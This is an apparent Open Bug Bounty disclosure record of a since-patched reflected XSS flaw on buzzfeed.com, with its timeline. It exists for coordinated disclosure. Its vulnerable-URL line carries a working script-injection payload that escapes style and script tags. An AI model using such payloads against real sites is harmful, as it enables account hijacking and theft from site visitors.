buzzfeed.com XSS vulnerability

2016-11-07T03:13:00
ID OBB:191427
Type openbugbounty
Reporter Jack
Modified 2016-11-16T09:37:00

Description

Vulnerable URL:
https://www.buzzfeed.com/about/contact_XSS'():;%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert('OPENBUGBOUNTY')%3C/scRipt%3E
Details:

Description| Value
---|---
Patched:| Yes, at 15.11.2016
Latest check for patch:| 15.11.2016 19:14 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 158
VIP website status:| Yes
Check buzzfeed.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 7 November, 2016 03:13 GMT
Generic security notifications sent to website owner| 7 November, 2016 03:16 GMT
Notification sent to subscribers (without technical details)| 7 November, 2016 06:17 GMT
Vulnerability details disclosed by researcher| 14 November, 2016 04:13 GMT
Vulnerability patched by the website owner| 16 November, 2016 09:37 GMT